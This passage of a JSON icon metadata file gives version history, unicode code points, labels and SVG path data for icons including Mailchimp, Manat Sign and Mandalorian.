        "path": "M416 208c0 45.9-14.9 88.3-40 122.7L502.6 457.4c12.5 12.5 12.5 32.8 0 45.3s-32.8 12.5-45.3 0L330.7 376c-34.4 25.2-76.8 40-122.7 40C93.1 416 0 322.9 0 208S93.1 0 208 0S416 93.1 416 208zM184 296c0 13.3 10.7 24 24 24s24-10.7 24-24V232h64c13.3 0 24-10.7 24-24s-10.7-24-24-24H232V120c0-13.3-10.7-24-24-24s-24 10.7-24 24v64H120c-13.3 0-24 10.7-24 24s10.7 24 24 24h64v64z"
      }
    },
    "free": ["solid"]
  },
  "mailchimp": {
    "changes": ["5.1.0", "5.7.0", "5.8.0", "5.8.2"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f59e",
    "label": "Mailchimp",
    "voted": true,
    "svg": {
      "brands": {
        "last_modified": 1660014481,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M330.61 243.52a36.15 36.15 0 0 1 9.3 0c1.66-3.83 1.95-10.43.45-17.61-2.23-10.67-5.25-17.14-11.48-16.13s-6.47 8.74-4.24 19.42c1.26 6 3.49 11.14 6 14.32zM277.05 252c4.47 2 7.2 3.26 8.28 2.13 1.89-1.94-3.48-9.39-12.12-13.09a31.44 31.44 0 0 0-30.61 3.68c-3 2.18-5.81 5.22-5.41 7.06.85 3.74 10-2.71 22.6-3.48 7-.44 12.8 1.75 17.26 3.71zm-9 5.13c-9.07 1.42-15 6.53-13.47 10.1.9.34 1.17.81 5.21-.81a37 37 0 0 1 18.72-1.95c2.92.34 4.31.52 4.94-.49 1.46-2.22-5.71-8-15.39-6.85zm54.17 17.1c3.38-6.87-10.9-13.93-14.3-7s10.92 13.88 14.32 6.97zm15.66-20.47c-7.66-.13-7.95 15.8-.26 15.93s7.98-15.81.28-15.96zm-218.79 78.9c-1.32.31-6 1.45-8.47-2.35-5.2-8 11.11-20.38 3-35.77-9.1-17.47-27.82-13.54-35.05-5.54-8.71 9.6-8.72 23.54-5 24.08 4.27.57 4.08-6.47 7.38-11.63a12.83 12.83 0 0 1 17.85-3.72c11.59 7.59 1.37 17.76 2.28 28.62 1.39 16.68 18.42 16.37 21.58 9a2.08 2.08 0 0 0-.2-2.33c.03.89.68-1.3-3.35-.39zm299.72-17.07c-3.35-11.73-2.57-9.22-6.78-20.52 2.45-3.67 15.29-24-3.07-43.25-10.4-10.92-33.9-16.54-41.1-18.54-1.5-11.39 4.65-58.7-21.52-83 20.79-21.55 33.76-45.29 33.73-65.65-.06-39.16-48.15-51-107.42-26.47l-12.55 5.33c-.06-.05-22.71-22.27-23.05-22.57C169.5-18-41.77 216.81 25.78 273.85l14.76 12.51a72.49 72.49 0 0 0-4.1 33.5c3.36 33.4 36 60.42 67.53 60.38 57.73 133.06 267.9 133.28 322.29 3 1.74-4.47 9.11-24.61 9.11-42.38s-10.09-25.27-16.53-25.27zm-316 48.16c-22.82-.61-47.46-21.15-49.91-45.51-6.17-61.31 74.26-75.27 84-12.33 4.54 29.64-4.67 58.49-34.12 57.81zM84.3 249.55C69.14 252.5 55.78 261.09 47.6 273c-4.88-4.07-14-12-15.59-15-13.01-24.85 14.24-73 33.3-100.21C112.42 90.56 186.19 39.68 220.36 48.91c5.55 1.57 23.94 22.89 23.94 22.89s-34.15 18.94-65.8 45.35c-42.66 32.85-74.89 80.59-94.2 132.4zM323.18 350.7s-35.74 5.3-69.51-7.07c6.21-20.16 27 6.1 96.4-13.81 15.29-4.38 35.37-13 51-25.35a102.85 102.85 0 0 1 7.12 24.28c3.66-.66 14.25-.52 11.44 18.1-3.29 19.87-11.73 36-25.93 50.84A106.86 106.86 0 0 1 362.55 421a132.45 132.45 0 0 1-20.34 8.58c-53.51 17.48-108.3-1.74-126-43a66.33 66.33 0 0 1-3.55-9.74c-7.53-27.2-1.14-59.83 18.84-80.37 1.23-1.31 2.48-2.85 2.48-4.79a8.45 8.45 0 0 0-1.92-4.54c-7-10.13-31.19-27.4-26.33-60.83 3.5-24 24.49-40.91 44.07-39.91l5 .29c8.48.5 15.89 1.59 22.88 1.88 11.69.5 22.2-1.19 34.64-11.56 4.2-3.5 7.57-6.54 13.26-7.51a17.45 17.45 0 0 1 13.6 2.24c10 6.64 11.4 22.73 11.92 34.49.29 6.72 1.1 23 1.38 27.63.63 10.67 3.43 12.17 9.11 14 3.19 1.05 6.15 1.83 10.51 3.06 13.21 3.71 21 7.48 26 12.31a16.38 16.38 0 0 1 4.74 9.29c1.56 11.37-8.82 25.4-36.31 38.16-46.71 21.68-93.68 14.45-100.48 13.68-20.15-2.71-31.63 23.32-19.55 41.15 22.64 33.41 122.4 20 151.37-21.35.69-1 .12-1.59-.73-1-41.77 28.58-97.06 38.21-128.46 26-4.77-1.85-14.73-6.44-15.94-16.67 43.6 13.49 71 .74 71 .74s2.03-2.79-.56-2.53zm-68.47-5.7zm-83.4-187.5c16.74-19.35 37.36-36.18 55.83-45.63a.73.73 0 0 1 1 1c-1.46 2.66-4.29 8.34-5.19 12.65a.75.75 0 0 0 1.16.79c11.49-7.83 31.48-16.22 49-17.3a.77.77 0 0 1 .52 1.38 41.86 41.86 0 0 0-7.71 7.74.75.75 0 0 0 .59 1.19c12.31.09 29.66 4.4 41 10.74.76.43.22 1.91-.64 1.72-69.55-15.94-123.08 18.53-134.5 26.83a.76.76 0 0 1-1-1.12z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M330.61 243.52a36.15 36.15 0 0 1 9.3 0c1.66-3.83 1.95-10.43.45-17.61-2.23-10.67-5.25-17.14-11.48-16.13s-6.47 8.74-4.24 19.42c1.26 6 3.49 11.14 6 14.32zM277.05 252c4.47 2 7.2 3.26 8.28 2.13 1.89-1.94-3.48-9.39-12.12-13.09a31.44 31.44 0 0 0-30.61 3.68c-3 2.18-5.81 5.22-5.41 7.06.85 3.74 10-2.71 22.6-3.48 7-.44 12.8 1.75 17.26 3.71zm-9 5.13c-9.07 1.42-15 6.53-13.47 10.1.9.34 1.17.81 5.21-.81a37 37 0 0 1 18.72-1.95c2.92.34 4.31.52 4.94-.49 1.46-2.22-5.71-8-15.39-6.85zm54.17 17.1c3.38-6.87-10.9-13.93-14.3-7s10.92 13.88 14.32 6.97zm15.66-20.47c-7.66-.13-7.95 15.8-.26 15.93s7.98-15.81.28-15.96zm-218.79 78.9c-1.32.31-6 1.45-8.47-2.35-5.2-8 11.11-20.38 3-35.77-9.1-17.47-27.82-13.54-35.05-5.54-8.71 9.6-8.72 23.54-5 24.08 4.27.57 4.08-6.47 7.38-11.63a12.83 12.83 0 0 1 17.85-3.72c11.59 7.59 1.37 17.76 2.28 28.62 1.39 16.68 18.42 16.37 21.58 9a2.08 2.08 0 0 0-.2-2.33c.03.89.68-1.3-3.35-.39zm299.72-17.07c-3.35-11.73-2.57-9.22-6.78-20.52 2.45-3.67 15.29-24-3.07-43.25-10.4-10.92-33.9-16.54-41.1-18.54-1.5-11.39 4.65-58.7-21.52-83 20.79-21.55 33.76-45.29 33.73-65.65-.06-39.16-48.15-51-107.42-26.47l-12.55 5.33c-.06-.05-22.71-22.27-23.05-22.57C169.5-18-41.77 216.81 25.78 273.85l14.76 12.51a72.49 72.49 0 0 0-4.1 33.5c3.36 33.4 36 60.42 67.53 60.38 57.73 133.06 267.9 133.28 322.29 3 1.74-4.47 9.11-24.61 9.11-42.38s-10.09-25.27-16.53-25.27zm-316 48.16c-22.82-.61-47.46-21.15-49.91-45.51-6.17-61.31 74.26-75.27 84-12.33 4.54 29.64-4.67 58.49-34.12 57.81zM84.3 249.55C69.14 252.5 55.78 261.09 47.6 273c-4.88-4.07-14-12-15.59-15-13.01-24.85 14.24-73 33.3-100.21C112.42 90.56 186.19 39.68 220.36 48.91c5.55 1.57 23.94 22.89 23.94 22.89s-34.15 18.94-65.8 45.35c-42.66 32.85-74.89 80.59-94.2 132.4zM323.18 350.7s-35.74 5.3-69.51-7.07c6.21-20.16 27 6.1 96.4-13.81 15.29-4.38 35.37-13 51-25.35a102.85 102.85 0 0 1 7.12 24.28c3.66-.66 14.25-.52 11.44 18.1-3.29 19.87-11.73 36-25.93 50.84A106.86 106.86 0 0 1 362.55 421a132.45 132.45 0 0 1-20.34 8.58c-53.51 17.48-108.3-1.74-126-43a66.33 66.33 0 0 1-3.55-9.74c-7.53-27.2-1.14-59.83 18.84-80.37 1.23-1.31 2.48-2.85 2.48-4.79a8.45 8.45 0 0 0-1.92-4.54c-7-10.13-31.19-27.4-26.33-60.83 3.5-24 24.49-40.91 44.07-39.91l5 .29c8.48.5 15.89 1.59 22.88 1.88 11.69.5 22.2-1.19 34.64-11.56 4.2-3.5 7.57-6.54 13.26-7.51a17.45 17.45 0 0 1 13.6 2.24c10 6.64 11.4 22.73 11.92 34.49.29 6.72 1.1 23 1.38 27.63.63 10.67 3.43 12.17 9.11 14 3.19 1.05 6.15 1.83 10.51 3.06 13.21 3.71 21 7.48 26 12.31a16.38 16.38 0 0 1 4.74 9.29c1.56 11.37-8.82 25.4-36.31 38.16-46.71 21.68-93.68 14.45-100.48 13.68-20.15-2.71-31.63 23.32-19.55 41.15 22.64 33.41 122.4 20 151.37-21.35.69-1 .12-1.59-.73-1-41.77 28.58-97.06 38.21-128.46 26-4.77-1.85-14.73-6.44-15.94-16.67 43.6 13.49 71 .74 71 .74s2.03-2.79-.56-2.53zm-68.47-5.7zm-83.4-187.5c16.74-19.35 37.36-36.18 55.83-45.63a.73.73 0 0 1 1 1c-1.46 2.66-4.29 8.34-5.19 12.65a.75.75 0 0 0 1.16.79c11.49-7.83 31.48-16.22 49-17.3a.77.77 0 0 1 .52 1.38 41.86 41.86 0 0 0-7.71 7.74.75.75 0 0 0 .59 1.19c12.31.09 29.66 4.4 41 10.74.76.43.22 1.91-.64 1.72-69.55-15.94-123.08 18.53-134.5 26.83a.76.76 0 0 1-1-1.12z"
      }
    },
    "free": ["brands"]
  },
  "manat-sign": {
    "changes": ["6.0.0-beta1", "6.0.0-beta3", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["Manat Sign", "currency"]
    },
    "styles": ["solid"],
    "unicode": "e1d5",
    "label": "Manat Sign",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766476,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M192 32c-17.7 0-32 14.3-32 32V98.7C69.2 113.9 0 192.9 0 288V448c0 17.7 14.3 32 32 32s32-14.3 32-32V288c0-59.6 40.8-109.8 96-124V448c0 17.7 14.3 32 32 32s32-14.3 32-32V164c55.2 14.2 96 64.3 96 124V448c0 17.7 14.3 32 32 32s32-14.3 32-32V288c0-95.1-69.2-174.1-160-189.3V64c0-17.7-14.3-32-32-32z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M192 32c-17.7 0-32 14.3-32 32V98.7C69.2 113.9 0 192.9 0 288V448c0 17.7 14.3 32 32 32s32-14.3 32-32V288c0-59.6 40.8-109.8 96-124V448c0 17.7 14.3 32 32 32s32-14.3 32-32V164c55.2 14.2 96 64.3 96 124V448c0 17.7 14.3 32 32 32s32-14.3 32-32V288c0-95.1-69.2-174.1-160-189.3V64c0-17.7-14.3-32-32-32z"
      }
    },
    "free": ["solid"]
  },
  "mandalorian": {
    "changes": ["5.0.12", "5.8.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f50f",
    "label": "Mandalorian",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014470,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M232.27 511.89c-1-3.26-1.69-15.83-1.39-24.58.55-15.89 1-24.72 1.4-28.76.64-6.2 2.87-20.72 3.28-21.38.6-1 .4-27.87-.24-33.13-.31-2.58-.63-11.9-.69-20.73-.13-16.47-.53-20.12-2.73-24.76-1.1-2.32-1.23-3.84-1-11.43a92.38 92.38 0 0 0-.34-12.71c-2-13-3.46-27.7-3.25-33.9s.43-7.15 2.06-9.67c3.05-4.71 6.51-14 8.62-23.27 2.26-9.86 3.88-17.18 4.59-20.74a109.54 109.54 0 0 1 4.42-15.05c2.27-6.25 2.49-15.39.37-15.39-.3 0-1.38 1.22-2.41 2.71s-4.76 4.8-8.29 7.36c-8.37 6.08-11.7 9.39-12.66 12.58s-1 7.23-.16 7.76c.34.21 1.29 2.4 2.11 4.88a28.83 28.83 0 0 1 .72 15.36c-.39 1.77-1 5.47-1.46 8.23s-1 6.46-1.25 8.22a9.85 9.85 0 0 1-1.55 4.26c-1 1-1.14.91-2.05-.53a14.87 14.87 0 0 1-1.44-4.75c-.25-1.74-1.63-7.11-3.08-11.93-3.28-10.9-3.52-16.15-1-21a14.24 14.24 0 0 0 1.67-4.61c0-2.39-2.2-5.32-7.41-9.89-7-6.18-8.63-7.92-10.23-11.3-1.71-3.6-3.06-4.06-4.54-1.54-1.78 3-2.6 9.11-3 22l-.34 12.19 2 2.25c3.21 3.7 12.07 16.45 13.78 19.83 3.41 6.74 4.34 11.69 4.41 23.56s.95 22.75 2 24.71c.36.66.51 1.35.34 1.52s.41 2.09 1.29 4.27a38.14 38.14 0 0 1 2.06 9 91 91 0 0 0 1.71 10.37c2.23 9.56 2.77 14.08 2.39 20.14-.2 3.27-.53 11.07-.73 17.32-1.31 41.76-1.85 58-2 61.21-.12 2-.39 11.51-.6 21.07-.36 16.3-1.3 27.37-2.42 28.65-.64.73-8.07-4.91-12.52-9.49-3.75-3.87-4-4.79-2.83-9.95.7-3 2.26-18.29 3.33-32.62.36-4.78.81-10.5 1-12.71.83-9.37 1.66-20.35 2.61-34.78.56-8.46 1.33-16.44 1.72-17.73s.89-9.89 1.13-19.11l.43-16.77-2.26-4.3c-1.72-3.28-4.87-6.94-13.22-15.34-6-6.07-11.84-12.3-12.91-13.85l-1.95-2.81.75-10.9c1.09-15.71 1.1-48.57 0-59.06l-.89-8.7-3.28-4.52c-5.86-8.08-5.8-7.75-6.22-33.27-.1-6.07-.38-11.5-.63-12.06-.83-1.87-3.05-2.66-8.54-3.05-8.86-.62-11-1.9-23.85-14.55-6.15-6-12.34-12-13.75-13.19-2.81-2.42-2.79-2-.56-9.63l1.35-4.65-1.69-3a32.22 32.22 0 0 0-2.59-4.07c-1.33-1.51-5.5-10.89-6-13.49a4.24 4.24 0 0 1 .87-3.9c2.23-2.86 3.4-5.68 4.45-10.73 2.33-11.19 7.74-26.09 10.6-29.22 3.18-3.47 7.7-1 9.41 5 1.34 4.79 1.37 9.79.1 18.55a101.2 101.2 0 0 0-1 11.11c0 4 .19 4.69 2.25 7.39 3.33 4.37 7.73 7.41 15.2 10.52a18.67 18.67 0 0 1 4.72 2.85c11.17 10.72 18.62 16.18 22.95 16.85 5.18.8 8 4.54 10 13.39 1.31 5.65 4 11.14 5.46 11.14a9.38 9.38 0 0 0 3.33-1.39c2-1.22 2.25-1.73 2.25-4.18a132.88 132.88 0 0 0-2-17.84c-.37-1.66-.78-4.06-.93-5.35s-.61-3.85-1-5.69c-2.55-11.16-3.65-15.46-4.1-16-1.55-2-4.08-10.2-4.93-15.92-1.64-11.11-4-14.23-12.91-17.39A43.15 43.15 0 0 1 165.24 78c-1.15-1-4-3.22-6.35-5.06s-4.41-3.53-4.6-3.76a22.7 22.7 0 0 0-2.69-2c-6.24-4.22-8.84-7-11.26-12l-2.44-5-.22-13-.22-13 6.91-6.55c3.95-3.75 8.48-7.35 10.59-8.43 3.31-1.69 4.45-1.89 11.37-2 8.53-.19 10.12 0 11.66 1.56s1.36 6.4-.29 8.5a6.66 6.66 0 0 0-1.34 2.32c0 .58-2.61 4.91-5.42 9a30.39 30.39 0 0 0-2.37 6.82c20.44 13.39 21.55 3.77 14.07 29L194 66.92c3.11-8.66 6.47-17.26 8.61-26.22.29-7.63-12-4.19-15.4-8.68-2.33-5.93 3.13-14.18 6.06-19.2 1.6-2.34 6.62-4.7 8.82-4.15.88.22 4.16-.35 7.37-1.28a45.3 45.3 0 0 1 7.55-1.68 29.57 29.57 0 0 0 6-1.29c3.65-1.11 4.5-1.17 6.35-.4a29.54 29.54 0 0 0 5.82 1.36 18.18 18.18 0 0 1 6 1.91 22.67 22.67 0 0 0 5 2.17c2.51.68 3 .57 7.05-1.67l4.35-2.4L268.32 5c10.44-.4 10.81-.47 15.26-2.68L288.16 0l2.46 1.43c1.76 1 3.14 2.73 4.85 6 2.36 4.51 2.38 4.58 1.37 7.37-.88 2.44-.89 3.3-.1 6.39a35.76 35.76 0 0 0 2.1 5.91 13.55 13.55 0 0 1 1.31 4c.31 4.33 0 5.3-2.41 6.92-2.17 1.47-7 7.91-7 9.34a14.77 14.77 0 0 1-1.07 3c-5 11.51-6.76 13.56-14.26 17-9.2 4.2-12.3 5.19-16.21 5.19-3.1 0-4 .25-4.54 1.26a18.33 18.33 0 0 1-4.09 3.71 13.62 13.62 0 0 0-4.38 4.78 5.89 5.89 0 0 1-2.49 2.91 6.88 6.88 0 0 0-2.45 1.71 67.62 67.62 0 0 1-7 5.38c-3.33 2.34-6.87 5-7.87 6A7.27 7.27 0 0 1 224 100a5.76 5.76 0 0 0-2.13 1.65c-1.31 1.39-1.49 2.11-1.14 4.6a36.45 36.45 0 0 0 1.42 5.88c1.32 3.8 1.31 7.86 0 10.57s-.89 6.65 1.35 9.59c2 2.63 2.16 4.56.71 8.84a33.45 33.45 0 0 0-1.06 8.91c0 4.88.22 6.28 1.46 8.38s1.82 2.48 3.24 2.32c2-.23 2.3-1.05 4.71-12.12 2.18-10 3.71-11.92 13.76-17.08 2.94-1.51 7.46-4 10-5.44s6.79-3.69 9.37-4.91a40.09 40.09 0 0 0 15.22-11.67c7.11-8.79 10-16.22 12.85-33.3a18.37 18.37 0 0 1 2.86-7.73 20.39 20.39 0 0 0 2.89-7.31c1-5.3 2.85-9.08 5.58-11.51 4.7-4.18 6-1.09 4.59 10.87-.46 3.86-1.1 10.33-1.44 14.38l-.61 7.36 4.45 4.09 4.45 4.09.11 8.42c.06 4.63.47 9.53.92 10.89l.82 2.47-6.43 6.28c-8.54 8.33-12.88 13.93-16.76 21.61-1.77 3.49-3.74 7.11-4.38 8-2.18 3.11-6.46 13-8.76 20.26l-2.29 7.22-7 6.49c-3.83 3.57-8 7.25-9.17 8.17-3.05 2.32-4.26 5.15-4.26 10a14.62 14.62 0 0 0 1.59 7.26 42 42 0 0 1 2.09 4.83 9.28 9.28 0 0 0 1.57 2.89c1.4 1.59 1.92 16.12.83 23.22-.68 4.48-3.63 12-4.7 12-1.79 0-4.06 9.27-5.07 20.74-.18 2-.62 5.94-1 8.7s-1 10-1.35 16.05c-.77 12.22-.19 18.77 2 23.15 3.41 6.69.52 12.69-11 22.84l-4 3.49.07 5.19a40.81 40.81 0 0 0 1.14 8.87c4.61 16 4.73 16.92 4.38 37.13-.46 26.4-.26 40.27.63 44.15a61.31 61.31 0 0 1 1.08 7c.17 2 .66 5.33 1.08 7.36.47 2.26.78 11 .79 22.74v19.06l-1.81 2.63c-2.71 3.91-15.11 13.54-15.49 12.29zm29.53-45.11c-.18-.3-.33-6.87-.33-14.59 0-14.06-.89-27.54-2.26-34.45-.4-2-.81-9.7-.9-17.06-.15-11.93-1.4-24.37-2.64-26.38-.66-1.07-3-17.66-3-21.3 0-4.23 1-6 5.28-9.13s4.86-3.14 5.48-.72c.28 1.1 1.45 5.62 2.6 10 3.93 15.12 4.14 16.27 4.05 21.74-.1 5.78-.13 6.13-1.74 17.73-1 7.07-1.17 12.39-1 28.43.17 19.4-.64 35.73-2 41.27-.71 2.78-2.8 5.48-3.43 4.43zm-71-37.58a101 101 0 0 1-1.73-10.79 100.5 100.5 0 0 0-1.73-10.79 37.53 37.53 0 0 1-1-6.49c-.31-3.19-.91-7.46-1.33-9.48-1-4.79-3.35-19.35-3.42-21.07 0-.74-.34-4.05-.7-7.36-.67-6.21-.84-27.67-.22-28.29 1-1 6.63 2.76 11.33 7.43l5.28 5.25-.45 6.47c-.25 3.56-.6 10.23-.78 14.83s-.49 9.87-.67 11.71-.61 9.36-.94 16.72c-.79 17.41-1.94 31.29-2.65 32a.62.62 0 0 1-1-.14zm-87.18-266.59c21.07 12.79 17.84 14.15 28.49 17.66 13 4.29 18.87 7.13 23.15 16.87C111.6 233.28 86.25 255 78.55 268c-31 52-6 101.59 62.75 87.21-14.18 29.23-78 28.63-98.68-4.9-24.68-39.95-22.09-118.3 61-187.66zm210.79 179c56.66 6.88 82.32-37.74 46.54-89.23 0 0-26.87-29.34-64.28-68 3-15.45 9.49-32.12 30.57-53.82 89.2 63.51 92 141.61 92.46 149.36 4.3 70.64-78.7 91.18-105.29 61.71z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M232.27 511.89c-1-3.26-1.69-15.83-1.39-24.58.55-15.89 1-24.72 1.4-28.76.64-6.2 2.87-20.72 3.28-21.38.6-1 .4-27.87-.24-33.13-.31-2.58-.63-11.9-.69-20.73-.13-16.47-.53-20.12-2.73-24.76-1.1-2.32-1.23-3.84-1-11.43a92.38 92.38 0 0 0-.34-12.71c-2-13-3.46-27.7-3.25-33.9s.43-7.15 2.06-9.67c3.05-4.71 6.51-14 8.62-23.27 2.26-9.86 3.88-17.18 4.59-20.74a109.54 109.54 0 0 1 4.42-15.05c2.27-6.25 2.49-15.39.37-15.39-.3 0-1.38 1.22-2.41 2.71s-4.76 4.8-8.29 7.36c-8.37 6.08-11.7 9.39-12.66 12.58s-1 7.23-.16 7.76c.34.21 1.29 2.4 2.11 4.88a28.83 28.83 0 0 1 .72 15.36c-.39 1.77-1 5.47-1.46 8.23s-1 6.46-1.25 8.22a9.85 9.85 0 0 1-1.55 4.26c-1 1-1.14.91-2.05-.53a14.87 14.87 0 0 1-1.44-4.75c-.25-1.74-1.63-7.11-3.08-11.93-3.28-10.9-3.52-16.15-1-21a14.24 14.24 0 0 0 1.67-4.61c0-2.39-2.2-5.32-7.41-9.89-7-6.18-8.63-7.92-10.23-11.3-1.71-3.6-3.06-4.06-4.54-1.54-1.78 3-2.6 9.11-3 22l-.34 12.19 2 2.25c3.21 3.7 12.07 16.45 13.78 19.83 3.41 6.74 4.34 11.69 4.41 23.56s.95 22.75 2 24.71c.36.66.51 1.35.34 1.52s.41 2.09 1.29 4.27a38.14 38.14 0 0 1 2.06 9 91 91 0 0 0 1.71 10.37c2.23 9.56 2.77 14.08 2.39 20.14-.2 3.27-.53 11.07-.73 17.32-1.31 41.76-1.85 58-2 61.21-.12 2-.39 11.51-.6 21.07-.36 16.3-1.3 27.37-2.42 28.65-.64.73-8.07-4.91-12.52-9.49-3.75-3.87-4-4.79-2.83-9.95.7-3 2.26-18.29 3.33-32.62.36-4.78.81-10.5 1-12.71.83-9.37 1.66-20.35 2.61-34.78.56-8.46 1.33-16.44 1.72-17.73s.89-9.89 1.13-19.11l.43-16.77-2.26-4.3c-1.72-3.28-4.87-6.94-13.22-15.34-6-6.07-11.84-12.3-12.91-13.85l-1.95-2.81.75-10.9c1.09-15.71 1.1-48.57 0-59.06l-.89-8.7-3.28-4.52c-5.86-8.08-5.8-7.75-6.22-33.27-.1-6.07-.38-11.5-.63-12.06-.83-1.87-3.05-2.66-8.54-3.05-8.86-.62-11-1.9-23.85-14.55-6.15-6-12.34-12-13.75-13.19-2.81-2.42-2.79-2-.56-9.63l1.35-4.65-1.69-3a32.22 32.22 0 0 0-2.59-4.07c-1.33-1.51-5.5-10.89-6-13.49a4.24 4.24 0 0 1 .87-3.9c2.23-2.86 3.4-5.68 4.45-10.73 2.33-11.19 7.74-26.09 10.6-29.22 3.18-3.47 7.7-1 9.41 5 1.34 4.79 1.37 9.79.1 18.55a101.2 101.2 0 0 0-1 11.11c0 4 .19 4.69 2.25 7.39 3.33 4.37 7.73 7.41 15.2 10.52a18.67 18.67 0 0 1 4.72 2.85c11.17 10.72 18.62 16.18 22.95 16.85 5.18.8 8 4.54 10 13.39 1.31 5.65 4 11.14 5.46 11.14a9.38 9.38 0 0 0 3.33-1.39c2-1.22 2.25-1.73 2.25-4.18a132.88 132.88 0 0 0-2-17.84c-.37-1.66-.78-4.06-.93-5.35s-.61-3.85-1-5.69c-2.55-11.16-3.65-15.46-4.1-16-1.55-2-4.08-10.2-4.93-15.92-1.64-11.11-4-14.23-12.91-17.39A43.15 43.15 0 0 1 165.24 78c-1.15-1-4-3.22-6.35-5.06s-4.41-3.53-4.6-3.76a22.7 22.7 0 0 0-2.69-2c-6.24-4.22-8.84-7-11.26-12l-2.44-5-.22-13-.22-13 6.91-6.55c3.95-3.75 8.48-7.35 10.59-8.43 3.31-1.69 4.45-1.89 11.37-2 8.53-.19 10.12 0 11.66 1.56s1.36 6.4-.29 8.5a6.66 6.66 0 0 0-1.34 2.32c0 .58-2.61 4.91-5.42 9a30.39 30.39 0 0 0-2.37 6.82c20.44 13.39 21.55 3.77 14.07 29L194 66.92c3.11-8.66 6.47-17.26 8.61-26.22.29-7.63-12-4.19-15.4-8.68-2.33-5.93 3.13-14.18 6.06-19.2 1.6-2.34 6.62-4.7 8.82-4.15.88.22 4.16-.35 7.37-1.28a45.3 45.3 0 0 1 7.55-1.68 29.57 29.57 0 0 0 6-1.29c3.65-1.11 4.5-1.17 6.35-.4a29.54 29.54 0 0 0 5.82 1.36 18.18 18.18 0 0 1 6 1.91 22.67 22.67 0 0 0 5 2.17c2.51.68 3 .57 7.05-1.67l4.35-2.4L268.32 5c10.44-.4 10.81-.47 15.26-2.68L288.16 0l2.46 1.43c1.76 1 3.14 2.73 4.85 6 2.36 4.51 2.38 4.58 1.37 7.37-.88 2.44-.89 3.3-.1 6.39a35.76 35.76 0 0 0 2.1 5.91 13.55 13.55 0 0 1 1.31 4c.31 4.33 0 5.3-2.41 6.92-2.17 1.47-7 7.91-7 9.34a14.77 14.77 0 0 1-1.07 3c-5 11.51-6.76 13.56-14.26 17-9.2 4.2-12.3 5.19-16.21 5.19-3.1 0-4 .25-4.54 1.26a18.33 18.33 0 0 1-4.09 3.71 13.62 13.62 0 0 0-4.38 4.78 5.89 5.89 0 0 1-2.49 2.91 6.88 6.88 0 0 0-2.45 1.71 67.62 67.62 0 0 1-7 5.38c-3.33 2.34-6.87 5-7.87 6A7.27 7.27 0 0 1 224 100a5.76 5.76 0 0 0-2.13 1.65c-1.31 1.39-1.49 2.11-1.14 4.6a36.45 36.45 0 0 0 1.42 5.88c1.32 3.8 1.31 7.86 0 10.57s-.89 6.65 1.35 9.59c2 2.63 2.16 4.56.71 8.84a33.45 33.45 0 0 0-1.06 8.91c0 4.88.22 6.28 1.46 8.38s1.82 2.48 3.24 2.32c2-.23 2.3-1.05 4.71-12.12 2.18-10 3.71-11.92 13.76-17.08 2.94-1.51 7.46-4 10-5.44s6.79-3.69 9.37-4.91a40.09 40.09 0 0 0 15.22-11.67c7.11-8.79 10-16.22 12.85-33.3a18.37 18.37 0 0 1 2.86-7.73 20.39 20.39 0 0 0 2.89-7.31c1-5.3 2.85-9.08 5.58-11.51 4.7-4.18 6-1.09 4.59 10.87-.46 3.86-1.1 10.33-1.44 14.38l-.61 7.36 4.45 4.09 4.45 4.09.11 8.42c.06 4.63.47 9.53.92 10.89l.82 2.47-6.43 6.28c-8.54 8.33-12.88 13.93-16.76 21.61-1.77 3.49-3.74 7.11-4.38 8-2.18 3.11-6.46 13-8.76 20.26l-2.29 7.22-7 6.49c-3.83 3.57-8 7.25-9.17 8.17-3.05 2.32-4.26 5.15-4.26 10a14.62 14.62 0 0 0 1.59 7.26 42 42 0 0 1 2.09 4.83 9.28 9.28 0 0 0 1.57 2.89c1.4 1.59 1.92 16.12.83 23.22-.68 4.48-3.63 12-4.7 12-1.79 0-4.06 9.27-5.07 20.74-.18 2-.62 5.94-1 8.7s-1 10-1.35 16.05c-.77 12.22-.19 18.77 2 23.15 3.41 6.69.52 12.69-11 22.84l-4 3.49.07 5.19a40.81 40.81 0 0 0 1.14 8.87c4.61 16 4.73 16.92 4.38 37.13-.46 26.4-.26 40.27.63 44.15a61.31 61.31 0 0 1 1.08 7c.17 2 .66 5.33 1.08 7.36.47 2.26.78 11 .79 22.74v19.06l-1.81 2.63c-2.71 3.91-15.11 13.54-15.49 12.29zm29.53-45.11c-.18-.3-.33-6.87-.33-14.59 0-14.06-.89-27.54-2.26-34.45-.4-2-.81-9.7-.9-17.06-.15-11.93-1.4-24.37-2.64-26.38-.66-1.07-3-17.66-3-21.3 0-4.23 1-6 5.28-9.13s4.86-3.14 5.48-.72c.28 1.1 1.45 5.62 2.6 10 3.93 15.12 4.14 16.27 4.05 21.74-.1 5.78-.13 6.13-1.74 17.73-1 7.07-1.17 12.39-1 28.43.17 19.4-.64 35.73-2 41.27-.71 2.78-2.8 5.48-3.43 4.43zm-71-37.58a101 101 0 0 1-1.73-10.79 100.5 100.5 0 0 0-1.73-10.79 37.53 37.53 0 0 1-1-6.49c-.31-3.19-.91-7.46-1.33-9.48-1-4.79-3.35-19.35-3.42-21.07 0-.74-.34-4.05-.7-7.36-.67-6.21-.84-27.67-.22-28.29 1-1 6.63 2.76 11.33 7.43l5.28 5.25-.45 6.47c-.25 3.56-.6 10.23-.78 14.83s-.49 9.87-.67 11.71-.61 9.36-.94 16.72c-.79 17.41-1.94 31.29-2.65 32a.62.62 0 0 1-1-.14zm-87.18-266.59c21.07 12.79 17.84 14.15 28.49 17.66 13 4.29 18.87 7.13 23.15 16.87C111.6 233.28 86.25 255 78.55 268c-31 52-6 101.59 62.75 87.21-14.18 29.23-78 